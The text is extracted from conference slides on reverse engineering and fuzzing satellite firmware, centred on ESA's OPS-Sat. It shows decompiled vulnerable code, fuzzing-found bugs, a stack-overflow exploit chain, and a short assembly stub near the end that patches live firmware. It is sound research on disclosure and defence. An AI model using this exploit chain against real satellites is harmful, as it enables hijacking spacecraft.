Zero Gravity Exploits

Reverse Engineering and Fuzzing Low Earth Orbit Satellites

Johannes Willbold & Tobias Scharnowski

@scepticctf

@jwillbold

$whoami

  • Johannes Willbold
  • Satellite & Space Systems Security
  • PhD Student
    • Ruhr University Bochum, DE
  • Visiting Researcher
    • Cyber-Defence Campus, CH
  • Co-Founder of SpaceSec

$whoami

  • Tobias Scharnowski
  • Automated Firmware Security
  • PhD Student @CISPA
  • Pwn & RE
  • DNP3 RCE @ ICS Pwn2Own
  • CTF Organizer & Player
    • FluxFingers, Sauercloud, ...

Space Odyssey

44th IEEE Symposium on Security and Privacy (S&P)

Distinguished Paper Award

Applications

Telecommunications

Research

Technology Testing

Global Positioning

Earth Obervation

Firmware Attacks

System Analysis

Security Analysis

Live Demo

Our Journey

LEO, MEO, GEO?

MEO

2k - 35k km

LEO

160 - 2k km

GEO

35786 km

Context

Space Segment

34 cm

10 cm

3U CubeSat

ISL

Ground Segment

Space Segment

ISL

Context

 Context

Ground Segment

Space Segment

ISL

Space Protocol

User Segment

Ground Segment

Space Segment

ISL

Space Protocol

Context

Firmware Attacks

ViaSat Incident

Ground Segment

Space Segment

User Segment

Firmware Attacks

Ground Segment

Space Segment

?

Attackers

?

Not so Novel

Attacker Goals

Denial of Service

Malicious Data Interaction

Seizure of Control

Attacker Goals

Seizure of Control

Components

Payload

Bus

?

Components

COM

Payload

CDHS

EPS

ADCS

TC / TM Flow

COM

Payload

CDHS

Telecommand (TC)

Telemetry (TM)

  • Decode
  • Authenticate
  • Repackage
  • Parse
  • Execute
  • Respond

EPS

ADCS

COM

PDHS

CDHS

TC / TM Traffic

  • Decode
  • Authenticate
  • Repackage
  • Parse
  • Execute
  • Respond

EPS

ADCS

PLCOM

Payload Traffic

TC / TM Flow

Attack Path

PDHS

PLCOM

COM

CDHS

Bus

Attack Path

PDHS

PLCOM

COM

CDHS

Bus

Attack Path

  • Bypass COM Protection
    • Missing AC
    • Insecure Protocol
    • Outdated Crypto
    • Timing Side Channels
    • Leaked Keys
    • Timed Backdoor
    • ...

COM

CDHS

Bus

Attack Path

  • Bypass COM Protection
    • [...]

COM

CDHS

  • Deploy Attacker Payload
    • Firmware Update
      • Signed Image
      • Slow Upload
      • Complex System

Bus

Attack Path

  • Bypass COM Protection
    • [...]

COM

CDHS

Bus

  • Deploy Attacker Payload
    • Firmware Update
    • Dangerous TC
    • Vulnerbale TC
  • Hijack Bus Control Flow
  • Full Bus Privileges

System Analysis

OPS-Sat

Experimenter

Operated by ESA

Open for Research

OPS-Sat

Experimenter

Peripherals

S-/X-Band, SDR, Optical Rx., Camera, ...

Launched

December 2019

Payload Plattform

ARM-Based Linux + FPGA

Operated by ESA

Open for Research

System Chart

System Chart

UHF

I2C

Live Storage

 Disk Storage

S-Band

CSP

CAN

SEPP

Memory Actions

SPP

Parsing

TM Sender

Verifify

Execute

File Actions

TM Instructions

Device Actions

MAL

Time Managem.

Orbital Position

TM Sender

SEPP

TC Buffer

ADCS Server

CSP -> SPP

Parameter DB

CSP Handlers

Device Cmds.

CAN Buffer

TC Buffer

Ring Buffer

TM Queue

SPP

CAN

S-Band

SEPP

UHF

I2C

CSP

 UHF-Stack

void csp_i2c_rx(i2c_frame_t *frame,void *pxTaskWoken) {
  // ...  
  if (frame) {
    frame_len = frame->len - 4;
    if (frame_len > 0xfc) {
      csp_if_i2c.frame = csp_if_i2c.frame + 1;
      csp_buffer_free_isr(frame);
      return;
    }
    frame->len = frame_len;
    i2c_rx_csp_packet = (csp_packet_t *) frame;
    h32 = csp_ntoh32(frame->data[3] | frame->data[1] << 0x10 | 
                        frame->data[0] << 0x18 | frame->data[2] << 8);
    frame->data[3] = (uint8_t)h32;
    frame->data[0] = (uint8_t)(h32 >> 0x18);
    frame->data[1] = (uint8_t)(h32 >> 0x10);
    frame->data[2] = (uint8_t)(h32 >> 8);
    csp_qfifo_write(i2c_rx_csp_packet, &csp_if_i2c, pxTaskWoken);
  }
  return;
}

I2C

CSP

TM Sender

ADCS Server

CSP -> SPP

Parameter DB

CSP Handlers

Device Cmds.

TC Buffer

I2C

CSP

uint32_t csp_ntoh32(uint32_t n32) {
  return n32;
}

 UHF-Stack

/ libcsp

Cubesat Space Protocol (CSP) v1

Source: https://en.wikipedia.org/wiki/Cubesat_Space_Protocol

I2C

CSP

TM Sender

ADCS Server

CSP -> SPP

Parameter DB

CSP Handlers

Device Cmds.

TC Buffer

I2C

CSP

TCP/IP Oriented Design

 UHF-Stack

Cubesat Space Protocol (CSP) v1

  • HMAC-SHA1 Authentication
  • XTEA Encryption Support

Security Issues

  1. MAC comparison leaks timing data #44
    • memcmp to compare the digest
  2. HMAC doesn't protect headers #45
    • Same problem for the CRC checks
  3.  XTEA encrypt packet nonce too predictable #162
    • const uint32_t nonce = (uint32_t)rand();

Authors: Issues fixed in libcsp v2

I2C

CSP

TM Sender

ADCS Server

CSP -> SPP

Parameter DB

CSP Handlers

Device Cmds.

TC Buffer

I2C

CSP

Security Features

 UHF-Stack

int csp_route_security_chek(...) {
  if (packet->id.flags & CSP_FXTEA) {
    csp_log_error("Received XTEA encrypted packet, but CSP was compiled without XTEA support. Discarding packet");
  }
  
  // ...
  
  if (packet->id.flags & CSP_FHMAC) {
    csp_log_error("Received packet with HMAC, but CSP was compiled without HMAC support. Discarding packet");
  }
  
   // ...
}

I2C

CSP

TM Sender

ADCS Server

CSP -> SPP

Parameter DB

CSP Handlers

Device Cmds.

TC Buffer

I2C

CSP

 UHF-Stack

if (cspServerInitialised == false) {
  cspSocket = csp_socket(0);
  if (!cspSocket) { return; }
  
  ret = csp_bind(cspSocket, CSP_ANY_PORT);
  if (!ret) { return; }
  
  ret = csp_listen(cspSocket, 10);
  if (!ret) { return; }
  
  cspServerInitialised = true;
}

cspServerConn = csp_accept(cspSocket, 10);
if (cspServerConn) {
  while (request_packet = csp_read(cspServerConn,0), packet) {
    dest_port = csp_conn_dport(cspServerConn);
    switch(dest_port) {
      // ...
    }
  }
  csp_close(cspServerConn);
}

I2C

CSP

TM Sender

ADCS Server

CSP -> SPP

Parameter DB

CSP Handlers

Device Cmds.

TC Buffer

I2C

CSP

Cubesat Space Protocol (CSP) v1

Socket API + TCP-based ports

  • "Default" Server
    • socket, bind, listen,accept

 UHF-Stack

Cubesat Space Protocol (CSP) v1

Default Services

  • Network Info Handlers
  • Ping
  • OS Tasklist
  • Remaining Memory
  • System Reboot
  • Current Time
switch(csp_conn_dport(conn)) {
	case 0: // Network information handlers
    	csp_cmp_handler(conn, packet);
        break;
    case 1: // Ping
        do_csp_debug(2,"SERVICE: Ping received");
        break;
    case 2: // OS Tasklist
        csp_sys_tasklist(str, size);
        // ...
        csp_send(conn, packet, 0);
        break;
    case 3: // Remaining Memory
        val = csp_sys_memfree();
        // ...
        csp_send(conn, packet, 0);
        break;
    case 4: // System Reboot
    	if(packet->data[0..4] == BYTESEQ) { csp_sys_reboot(); }
   // ...
}

I2C

CSP

TM Sender

ADCS Server

CSP -> SPP

Parameter DB

CSP Handlers

Device Cmds.

TC Buffer

I2C

CSP

 UHF-Stack

dest_port = csp_conn_dport(conn);
switch(dest_port) {
  case 0x00 - 0x06:
    csp_service_handler(conn, pkt);
  case 0x07:
    rparam_service_handler(conn, pkt);
  case 0x10:
    CSP_ProcessReceivedSPP(pkt);
}

Central Services

// csp_listen, _bind(0x14), _accept
switch(val) {
  case 0x1: // Set ADCS Mode
    memcpy(packet->data + 2, _adcs_mode, 7);
    packet->data[1] = '\0';
    packet->length = 0;
    goto send_packet_set_len;
  case 0x1c:
    gs_adcs_gps_on();
    break;
  case '\x14': // Set ADCS Wheel position
    gs_adcs_wheels_diag(packet->data[2],&val0,&val1);
    packet->data[1] = '\0';
    h16 = util_hton16(val0);
    packet->data[5] = (char)(h16 & 0xffff);
    packet->data[4] = (char)((h16 & 0xffff) >> 8);
    h16 = util_hton16(val1);
    packet->data[7] = (char)(h16 & 0xffff);
    packet->data[6] = (char)((h16 & 0xffff) >> 8);

    packet->length = 0;
    goto send_packet_set_len;
}

ADCS Server

I2C

CSP

TM Sender

ADCS Server

CSP -> SPP

Parameter DB

CSP Handlers

Device Cmds.

TC Buffer

I2C

CSP

 UHF-Stack

send_packet_set_len:
        *(char *)((int)&packet->length + 1) = len;
send_packet:
        ret = csp_send(conn,packet,0);
        if (!ret) goto failed;;

Sending Telemtry

I2C

CSP

TM Sender

ADCS Server

CSP -> SPP

Parameter DB

CSP Handlers

Device Cmds.

TC Buffer

I2C

CSP

System Chart

Live Storage

 Disk Storage

S-Band

CAN

SEPP

Memory Actions

SPP

Parsing

Verifify

Execute

File Actions

TM Instructions

Device Actions

MAL

Time Managem.

Orbital Position

TM Sender

SEPP

CAN Buffer

TC Buffer

Ring Buffer

TM Queue

SPP

CAN

S-Band

SEPP

UHF

I2C

CSP

TM Sender

ADCS Server

CSP -> SPP

Parameter DB

CSP Handlers

Device Cmds.

TC Buffer

UHF

I2C

CSP

CAN Frames

void can_rx_task_gmv(void) {
	// ...
  if(frame_type == START) {
    // Allocate packet
    if (curr_buf->packet == (CFP_Packet_t *)0x0) {
      tmp = csp_buffer_size();
      packet = (CFP_Packet_t *)csp_buffer_get(tmp - 0xe);
      curr_buf->packet = packet;
    } else { ... }
    
    curr_buf->rx_count = 0;
    curr_buf->remain = frame_id >> 0xd & 0x1f;
    // Copy to Global Buffer
    memcpy(datablockGlobalRx.Data, &can_frame.data, can_frame.dlc);
    datablockGlobalRx.Size = can_frame.dlc + datablockGlobalRx.Size;
    // ...
  }
  else if(frame_type == CONTINUE) {
    can_remain = frame_id >> 0xd & 0x1f;
    // Check continous ID
    if (can_remain == curr_buf->remain - 1) {
      curr_buf->remain = can_remain;
      curr_buf->rx_count = curr_buf->rx_count + (ushort)can_frame.dlc;
      // Copy to Global Buffer
      memcpy(datablockGlobalRx.Data + datablockGlobalRx.Size, 
             &can_frame.data, can_frame.dlc);
      datablockGlobalRx.Size = (uint)can_frame.dlc + datablockGlobalRx.Size;
      // ...
    }
  }
  else if(frame_type == END) {
    can_remain = frame_id >> 0xd & 0x1f;
    if (can_remain != curr_buf->remain - 1) {
      memcpy(datablockGlobalRx.Data + datablockGlobalRx.Size, 
             &can_frame.data, can_frame.dlc);
      datablockGlobalRx.Size = can_frame.dlc + datablockGlobalRx.Size;
      memcpy(datablockGlobalRxFinal.Data, datablockGlobalRx.Data, 
             datablockGlobalRx.Size);
      datablockGlobalRxFinal.Size = datablockGlobalRx.Size;
      datablockGlobalFlag = 1;
      CAN_AddPacketToCanStore(&datablockGlobalRxFinal);
      // ...
    }
  }
    
}

CAN

Memory Actions

SPP

Parsing

Verifify

Execute

File Actions

TM Instructions

Device Actions

MAL

Time Managem.

Orbital Position

CAN Buffer

TC Buffer

S-Band Stack

CCSDS - Protocol Stack

CAN

Memory Actions

SPP

Parsing

Verifify

Execute

File Actions

TM Instructions

Device Actions

MAL

Time Managem.

Orbital Position

CAN Buffer

TC Buffer

S-Band Stack

Space Packet Protocol

IP

Sync. and Channel Coding Sublayer

Message Abstraction

...

IPSec

TM Space Link Protocol

TC Space Link Protocol

AOS Space Data Link P.

Proximity-1

Data Link Lay.

CCSDS - Protocol Stack

CAN

Memory Actions

SPP

Parsing

Verifify

Execute

File Actions

TM Instructions

Device Actions

MAL

Time Managem.

Orbital Position

CAN Buffer

TC Buffer

S-Band Stack

Space Packet Protocol

IP

Sync. and Channel Coding Sublayer

Message Abstraction

...

IPSec

TM Space Link Protocol

TC Space Link Protocol

AOS Space Data Link P.

Proximity-1

Data Link Lay.

CCSDS - Space Packet Protocol (SPP)

CAN

Memory Actions

SPP

Parsing

Verifify

Execute

File Actions

TM Instructions

Device Actions

MAL

Time Managem.

Orbital Position

CAN Buffer

TC Buffer

S-Band Stack

Packet Secondary Header

User Data Field

Packet Data Field

6 Bytes

1 - 65536 Bytes

Packet
Primary Header

CCSDS - Space Packet Protocol (SPP)

CAN

Memory Actions

SPP

Parsing

Verifify

Execute

File Actions

TM Instructions

Device Actions

MAL

Time Managem.

Orbital Position

CAN Buffer

TC Buffer

S-Band Stack

Packet Identification

Packet Sequence Control

1 bit

11 bits

3 bits

2 bits

14 bits

16 bits

1 bit

Packet Version Number

Packet Data Length

Packet Type

Sec. Header Flag

App. Process ID

Sequen.
Flag

Sequen.
Count

void TCTA_Cycle(void) {
  TCMA_CleanTCBuffers();
  TCMA_ReadCommand();
  TCMA_VerifyCommand();
  TCMA_ExecuteCommand();
  return;
}
int TCMA_ReadCommand(void) {
  packet = gRawPacketBuffer;
  ret = COMTT_GetReceivedTCPacket(&packet,0xff,&source_channel);
  if (ret == SUCCESS) {
    CKSM_ComputeCRC(packet, &offset);
    // ...
    do {
      currentState = &gTelecommandsInProcess[i].currentState;
      if(*currentState == EMPTY) {
        *currentState = READING;
        ret = SPP_ReadSpacePacket(packet, packet.Size,
                       &gTelecommandsInProcess[i].telecommand)
        if(ret == SUCCESS) {
          // Read and set more fields ...
          *currentState = READ;
          i = 0x14;
        } else {
          *currentState = REJECTED;
        }
      }
    } while (i < 0x14);
}

CAN

Memory Actions

SPP

Parsing

Verifify

Execute

File Actions

TM Instructions

Device Actions

MAL

Time Managem.

Orbital Position

CAN Buffer

TC Buffer

S-Band Stack

CCSDS - Message Abstraction Layer (MAL)

CAN

Memory Actions

SPP

Parsing

Verifify

Execute

File Actions

TM Instructions

Device Actions

MAL

Time Managem.

Orbital Position

CAN Buffer

TC Buffer

S-Band Stack

https://en.wikipedia.org/wiki/Message_Abstraction_Layer

if (serviceArea == 0x20001) {
  // ...
  if ((operation & 0xffffff00) == 0x18100) { PUBSUB_MonitorEvent(msg); }
} else if (serviceArea == 0x40001) {
  // ...
  if ((operation & 0xffffff00) == 0x18100) { SUBMIT_SubmitAction(msg); }
} else if (serviceArea == 0x4a000f) {
  // ...
  operation = operation & 0xffffff00;
  if (operation == 0x10100) { SUBMIT_CreateFile(msg); }
  if (operation == 0x20100) { SUBMIT_RemoveFile(msg); }
  if (operation == 0x30100) { REQUEST_WriteFile(msg); }
  if (operation == 0x50100) { PROGRESS_ReadFile(msg); }
}
// ...
 
  

CAN

Memory Actions

SPP

Parsing

Verifify

Execute

File Actions

TM Instructions

Device Actions

MAL

Time Managem.

Orbital Position

CAN Buffer

TC Buffer

S-Band Stack

void SUBMIT_CreateFile(MAL_Message_t *pMessage) {
  msg = (pMessage->body).data;
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &report_acceptance);
  if(ret == SUCCESS) {
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &unused_str);
    if(ret == SUCCESS) {
      // Inform about Acceptance
      COMActivityTracking_PublishAcceptanceEvent(...);
    }
  }
  
  ret = MAL_ReadBoolean(msg, &offset,(pMessage->body).length, &boolVal);
  if(ret == SUCCESS) {
    ret = MAL_ReadString(msg, &offset, (pMessage->body).length, &filename);
    if(ret == SUCCESS) {
      strcpy(full_filename,"/flash/");
      strncpy(full_filename + 7,filename.character, filename.length);
      full_filename[filename.length + 7] = 0;
      file_handle = fopen(full_filename,"r");
      // ...
      
      MAL_WriteUInteger(...);
      MAL_WriteBoolean(...);
      MOSManager_SendMessage(&outputMessage_SUBMIT_CreateFile);
    }
  }
  
}

CAN

Memory Actions

SPP

Parsing

Verifify

Execute

File Actions

TM Instructions

Device Actions

MAL

Time Managem.

Orbital Position

CAN Buffer

TC Buffer

S-Band Stack

System Chart

Live Storage

 Disk Storage

S-Band

CAN

SEPP

Memory Actions

SPP

Parsing

Verifify

Execute

File Actions

TM Instructions

Device Actions

MAL

Time Managem.

Orbital Position

TM Sender

SEPP

CAN Buffer

TC Buffer

Ring Buffer

TM Queue

SPP

CAN

S-Band

SEPP

UHF

I2C

CSP

TM Sender

ADCS Server

CSP -> SPP

Parameter DB

CSP Handlers

Device Cmds.

TC Buffer

UHF

I2C

CSP

Live Storage

 Disk Storage

TM Sender

Ring Buffer

TM Queue

SPP

CAN

Telemetry

void MOSManager_SendPacket(SPP_Packet_t *pPacket) {
  ret = SPP_GetPacketType(pPacket, &packet_type);
  if (ret == SUCCESS) {
    if (packet_type == SPP_PACKETTYPE_TC) {
      tc_routing = pPacket->primaryHeader.packetID | pPacket->primaryHeader.packetSC;
    }
    else {
      tc_routing = (pPacket->secondaryHeader).areaVersion | /* ... */;
    }
    if (tc_routing == /* ... */) {
      TMPK_CreatePacket(pPacket,&tmpPacket);
      CAN_SendFrameToSEPP(&tmpPacket,0);
    }
    else {
      SVTM_SendPacket(pPacket);
    }
  }
  return;
}

Live Storage

 Disk Storage

TM Sender

Ring Buffer

TM Queue

SPP

CAN

Telemetry

void SVTM_SendPacket(SPP_Packet_t *packet) {
  TMMN_SendPacket(packet);
  return;
}
void TMMN_SendPacket(SPP_Packet_t *packet) {
  SSOS_LockMutex(tmmn_MutexId);
  // ...
 
  if (gSendPackets != '\x01') {
    TMPS_StopPSPackets();
  }
  if ((packet->route == ROUTE_UHF) || (gSendPackets == '\x01')) {
    TMLI_AddPacketToLiveStore(packet);
  }
  else {
    TMPS_AddPacketToPacketStore(packet);
  }
  SSOS_UnlockMutex(tmmn_MutexId);
  return;
}

System Chart

UHF

I2C

Live Storage

 Disk Storage

S-Band

CSP

CAN

SEPP

Memory Actions

SPP

Parsing

TM Sender

Verifify

Execute

File Actions

TM Instructions

Device Actions

MAL

Time Managem.

Orbital Position

TM Sender

SEPP

TC Buffer

ADCS Server

CSP -> SPP

Parameter DB

CSP Handlers

Device Cmds.

CAN Buffer

TC Buffer

Ring Buffer

TM Queue

SPP

CAN

S-Band

SEPP

UHF

I2C

CSP

System Chart

Live Storage

 Disk Storage

S-Band

CAN

SEPP

Memory Actions

SPP

Parsing

Verifify

Execute

File Actions

TM Instructions

Device Actions

MAL

Time Managem.

Orbital Position

TM Sender

SEPP

CAN Buffer

TC Buffer

Ring Buffer

TM Queue

SPP

CAN

S-Band

SEPP

UHF / CSP

CSP vs SPP Stack

UHF / CSP

S-Band + SEPP / SPP

?

CSP-Stack User

UHF / CSP

Used by Operators

Specific GS Location

10-20 mins

SPP-Stack User

S-Band + SEPP / SPP

Used by Payload & Experimentors

Unknown Location

?

Unknown Time

Security Analysis

Approach

Manual Vulnerability Analysis

Automated Fuzz Testing

 Objectives

1

2

3

4

Bypass COM Protection

Dangerous / Vulnerable TC

Hijack Bus Control Flow

Full Bus Privileges

System Chart

  1. Bypass COM Protection
    • Compiler-disabled Auth. + Enc.
  2. Dangerous / Vulnerable TC

I2C

CSP

TM Sender

ADCS Server

CSP -> SPP

Parameter DB

CSP Handlers

Device Cmds.

TC Buffer

I2C

CSP

int csp_route_security_chek(...) {
  if (packet->id.flags & CSP_FXTEA) {
    csp_log_error("Received XTEA encrypted packet, but CSP was compiled without XTEA support. Discarding packet");
  }
  
  // ...
  
  if (packet->id.flags & CSP_FHMAC) {
    csp_log_error("Received packet with HMAC, but CSP was compiled without HMAC support. Discarding packet");
  }
  
   // ...
}
int sch_handler_set_raw_memory(scheduler_cmd_t* pCmd) {
  raw_mem_access_cmd_t* pAddr = pCmd−>pCmdArgs;
  char* pWriteData;

  if (pAddr) {
    if (g_sch_exec_mode != 1 ) { 
      /* exception and return */ 
    }
    char* pWriteData = &pAddr−>start_of_data_buf;
    if (pAddr−>filesystem_target) {
      // [...]
    } else {
      memcpy(pAddr−>targetAddr, 
             &pAddr−>start_of_data_buf, 
             pAddr−>writeLength);
    }
  }
  // ...
}

memcpy TC

Config Changes

Patching

Debugging

Fuzzing Satellites

Research

31st USENIX Security Symposium (USENIX Security'22)

1st Workshop on the Security of Space and Satellite Systems (SpaceSec'23)

Distinguished Artifact Award

Fuzzing Intro

 Why Fuzzing?

UHF / CSP

S-Band + SEPP / SPP

Reversing the TC/TM Pipeline

New Satellite-Specific Protocols

 Why Fuzzing?

UHF / CSP

S-Band + SEPP / SPP

Reversing the TC/TM Pipeline

New Satellite-Specific Protocols

It's Hard

Classic Fuzzing Roadblocks

Integrity Checks

?

Redundancies

...

...

Numerous
Peripherals

 Fuzzware

Firmware

Analysis

Bugs

Symbolic Execution

MMIO Access Modeling

Re-Hosting

Fuzzing

 Basic Setup

memory_map:
  text:
    base_addr: 0x8000000
    file: fw.bin
    permissions: r-x
    size: 0x100000
  ram:
    base_addr: 0x20000000
    permissions: rw-
    size: 0x100000
  mmio:
    base_addr: 0x40000000
    permissions: rw-
    size: 0x20000000

interrupt_triggers:
  trigger_on_idle:
    addr: Scheduler::idle
    fuzz_mode: fuzzed

Memory Mappings

Configuration

Processor Interrupts

0x00000000

0xD0080000

0xf0d08000

.text

.data

 Booting Sats

console_init();
board_init();
init_can(1);
// ...
log_csp_init();
csp_buffer_init(100,0x28a);
csp_set_hostname("OBC");
csp_set_model("A3200");
// ...
csp_kiss_init(&csp_if_kiss,&csp_kiss_handle,kiss_putc_f,kiss_discard_f,"KISS");
usart_set_callback(4,usart_csp_callback);
// ...
i2c_init_master(1,'\n',0x96);
csp_i2c_init('\x01',0,400);
// ...
init_adcs();
// ...
spn_fl512s_init(cs);
vfs_init(&part_table,1);
uffs_RegisterMountTable(&flash_table);
uffs_Mount("/flash/");
uffs_InitFileSystemObjects();
// ...

 Booting Sats

console_init();
board_init();
init_can(1);
// ...
log_csp_init();
csp_buffer_init(100,0x28a);
csp_set_hostname("OBC");
csp_set_model("A3200");
// ...
csp_kiss_init(&csp_if_kiss,&csp_kiss_handle,kiss_putc_f,kiss_discard_f,"KISS");
usart_set_callback(4,usart_csp_callback);
// ...
i2c_init_master(1,'\n',0x96);
csp_i2c_init('\x01',0,400);
// ...
init_adcs();
// ...
spn_fl512s_init(cs);
vfs_init(&part_table,1);
uffs_RegisterMountTable(&flash_table);
uffs_Mount("/flash/");
uffs_InitFileSystemObjects();
// ...
# Enable Fuzzware boot snapshots
boot:
    # Need to pass
    required:
    - RODOS::Scheduler::idle
    # Want to reach
    target: RODOS::IdleThread::run

Hygiene

handlers:
  # Output functions
  RODOS::xprintf:
  # Sleeps
  RODOS::pdhSPISlave::waitOnTransferReady:

exit_at:
  assert_failed:
  
mmio_models:
  constant:
    # Always avoid infinite loop
    SetSysClock_check:
      pc: SetSysClock + 0x15e
      addr: 0x40023C00
      val: 2

Configuration

Skip sleeps / output

Exit early in error case

Eliminate fuzzer decisions

 Bug 1

<Missing Error Handling into index OOB>

void ProcessPackets() {
   uint32_t handlerID = 137; // Last handler if no other selected
   for (uint16_t var = 0; var < numPackets; ++var) {
       switch(packets[var].idMajor) {
           case HND_TYPE_1:    handlerID = idMajor1;               break;
           case HND_TYPE_2:    handlerID = idMajor2;               break;
           default: break; }
       switch(packets[var].idMinor) {
           case 25  ... 49:    handlerID += offsetMinor1;           break;
           case 549 ... 599:   handlerID += offsetMinor2;           break;
           default: break; }

       HandlerArray[handlerID].send (/* ... */);
   }
}

 Bug 1

void ProcessPacket() {
   uint32_t handlerID = 137; // Last handler if no other selected
   for (uint16_t var = 0; var < numPackets; ++var) {
       switch(packets[var].idMajor) {
           case HND_TYPE_1:    handlerID = idMajor1;               break;
           case HND_TYPE_2:    handlerID = idMajor2;               break;
           default: break; }
       switch(packets[var].idMinor) {
           case 25  ... 49:    handlerID += offsetMinor1;          break;
           case 549 ... 599:   handlerID += offsetMinor2;          break;
           default: break; }

       HandlerArray[handlerID].send (/* ... */);
   }
}

 Bug 2

RODOS uses the priority ceiling protocol [15] to lock
access to certain shared resources. This means that inside the
critical section, the scheduling priority of the active thread
is set to the maximum value and no other thread can be
scheduled. One resource using this protocol is a synchronized
FIFO for sending messages from the radio uplink thread to
the telemetry thread. While reading data from the FIFO, the
priority ceiling is activated. If no data is available, the reader
will be suspended and yields back to the scheduler. Before this,
a handle to the reader is saved in the FIFO object. At this time,
the reader has entered a critical section. The logic of the reader
thus assumes that the handle may not be modified by another
thread. However, this assumption is broken as the reader is now
suspended, such that it can no longer be scheduled. Instead,
the writer will be scheduled and be able to access the shared
FIFO object which is supposed to be protected by the ceiling
protocol. Every time the writer puts data into the FIFO, it
wakes up the reader with the handle from the FIFO object.
The writer checks the handle not to be null before using it.
However, as the check which the writer assumes to be guarded
by priority ceiling is actually not guarded, a race condition
occurs on this check. Now, the context switch may occur in
the writer after checking the handle but before using it. Next,
the reader sets the handle to null because it no longer blocks on
the FIFO. Once the writer gets scheduled again, it will use the
now invalid handle and cause a null pointer to dereference.
While the root cause of this bug is improper usage of the
priority ceiling protocol, it manifests in a race condition.

Paper Description:
Time of Check / Time of Use (TOCTOU) Race Condition due to Priority Ceiling Misuse

 Bug 2

void syncGet(Type &val) {
    PRIO_CEIL();
    FIFO->get(val);
    suspendedReader = NULL;
    PRIO_CEIL_END();
}
void syncPut(const Type &val) {
  FIFO->put(val);
  {
    PRIO_CEIL();
    if(suspendedReader)
      // Check passed
      suspendedReader->resume();
    PRIO_CEIL_END();
  }
}

1.1 Soft Lock

1.2 Empty FIFO: Reschedule

2.1 Add to FIFO

2.2 Soft Lock (2)

2.3 Add to FIFO

Interrupt!

Issue: Both functions now have the same prio (CEIL)!

 

Race condition:

  • syncGet: set object NULL after check
  • syncPut: use object

Soft lock != Hard lock

Should not yield in Prio Ceiling

 Bug 3

extern char _estack;            // see stm32_flash.ld
extern char _Min_Stack_Size;    // see stm32_flash.ld

caddr_t _sbrk(int incr) {
  static char * heap_end;
  char * prev_heap_end = heap_end;

  //if (heap_end + incr > stack_ptr) {
  if (heap_end + incr > &_estack-_Min_Stack_Size)
      abort();

  heap_end += incr;
  return (caddr_t) prev_heap_end;
}

 Emulators!

Inspection Debugging

Memory Protections

Deterministic

Replay

Delayed

Crash

Race

Condition

NULL Ptr

Deref

Security Analysis

void task_adcs_servr() {
  char log_file_name [32];

  csp_listen(socket, 10);
  csp_bind(socket, port);
  
  do {
    do {
      conn = csp_accept(socket, 0xff);
    } while (do_wait_for_conn);
    
    packet = csp_read(conn, 10);
    if (packet) {
      packet_data = packet->data;
      switch(*packet_data) {
        // [...]
        case SET_LOGFILE: {
          packet_data = packet->data + 0xf;
          log_file_name[0] = '\0';
          strcat(log_file_name,packet_data);
          // ...
        }
      }
    }
  }
}

System Chart

ADCS Server

Cubesat Space Protocol (CSP)

System Chart

Message Abstraction Layer (MAL)

S-Band

Space Packet Protocol (SPP)

PUBSUB_MonitorEvent

SUBMIT_SetPowerState

INVOKE_GetGPSData

...

PROGRESS_GetSummary

Custom Byte Parsing

ADCS Server

...

UHF

Cubesat Space Protocol (CSP)

Parameter DB

CSP => SPP

  1. Bypass COM Protection
  2. Dangerous / Vulnerable TC
  3. Hijack Bus Control Flow
    • No OS-Defenses
      • ASLR
      • NX Stack
    • No SW-Defenses
      • Stack Cookies

System Chart

  1. Bypass COM Protection
  2. Dangerous / Vulnerable TC
  3. Hijack Bus Control Flow
  4. Full Bus Privileges
    • Privilege-free RTOS

System Chart

Exploitation

 Exploit

1

2

3

4

Hijack Control Flow

Patch Live Firmware

Add "Password" to TC Stack

???

5

Profit

 Exploit

1

Hijack Control Flow

void init_adcs(void) {
  gpio_enable_module((gpio_map_t *)GPS_USART_GPIO_MAP.18362,2);
  usart_init(1,32000000,0x2580);
  // ...
  cmd_adcs_setup();
  adcs_node_set(1,0x14);
  xTaskGenericCreate(task_adcs,"ADCS",0x2000, 0x0, 8, &pvStack_18, 0x0, 0x0);
  xTaskGenericCreate(task_adcs_server, "ASRV", 0x1000, &adcs_server_port, 9, &pvStack_18, 0x0, 0x0);
  return;
}
void task_adcs_servr() {
  // ...
  
  do {
    // ...
    packet = csp_read(conn, 10);
    if (packet) {
      packet_data = packet->data;
      switch(*packet_data) {
        // [...]
        case SET_LOGFILE: {
          packet_data = packet->data + 0xf;
          log_file_name[0] = '\0';
          strcat(log_file_name,packet_data);
          // ...
        }
      }
    }
  }
}

 Exploit

1

Hijack Control Flow

void GS_ADCS_Log_Start(char *filename, void *pkt_data, uint param_3) {
  char sprintf_buf [60];
  // ...
  __n = sprintf(sprintf_buf,"%s\n%7.6f\n%3.1f\n%u%u%u%u%u\n", filename, ...);
  // ...
  fd = fopen(filename, "wb");
  // ...
  fwrite(&data, 1, __n, fd);
}
case SET_LOGFILE: {
  packet_data = packet->data + 0xf;
  log_file_name[0] = '\0';
  strcat(log_file_name,packet_data);
  
  adcs_logdata._20_4_ = csp_hton32( packet->data[...] | ... );
  adcs_logdata._24_4_ = csp_hton32( packet->data[...] | ... );
  adcs_logdata[28] = packet->data[10];
  adcs_logdata[29] = packet->data[0xb];
  // ...
  adcs_get_jdate();
  
  GS_ADCS_Log_Start(log_file_name, packet_data, pcVar7)
}

 Exploit

1

Hijack Control Flow

I2C

CSP

TM Sender

ADCS Server

CSP -> SPP

Parameter DB

CSP Handlers

Device Cmds.

TC Buffer

I2C

CSP

Jump Address

20 TC Buffers

...

 Exploit

2

Patch Live Firmware

d140fcc7:       fc 1b d0 05     movh    r11,0xd005
d140fccb:       e0 2b df fe     sub     r11,57342
d140fccf:       fc 1c d0 0b     movh    r12,0xd00b
d140fcd3:       e0 2c d2 fc     sub     r12,54012
d140fcd7:       04 52           eor     r2,r2
d140fcd9:       fe c2 ff e6      sub     r2,pc,-26
d140fcdd:       fc 13 d0 0c     movh    r3,0xd00c
d140fce1:       e0 23 14 88     sub     r3,5256
d140fce5:       31 e5           mov     r5,30

d140fce7 <loop>:
d140fce7:       05 34           ld.ub   r4,r2++
d140fce9:       06 c4           st.b    r3++,r4
d140fceb:       20 15           sub     r5,1
d140fced:       58 05           cp.w    r5,0
d140fcef:       cf c1           brne    d140fce6 <main+0x1f>
d140fcf1:       5d 1b           icall   r11

 Exploit

3

Add "Password"

// ...  
h32 = csp_ntoh32(frame->data[3] | frame->data[1] << 0x10 | 
                    frame->data[0] << 0x18 | frame->data[2] << 8);
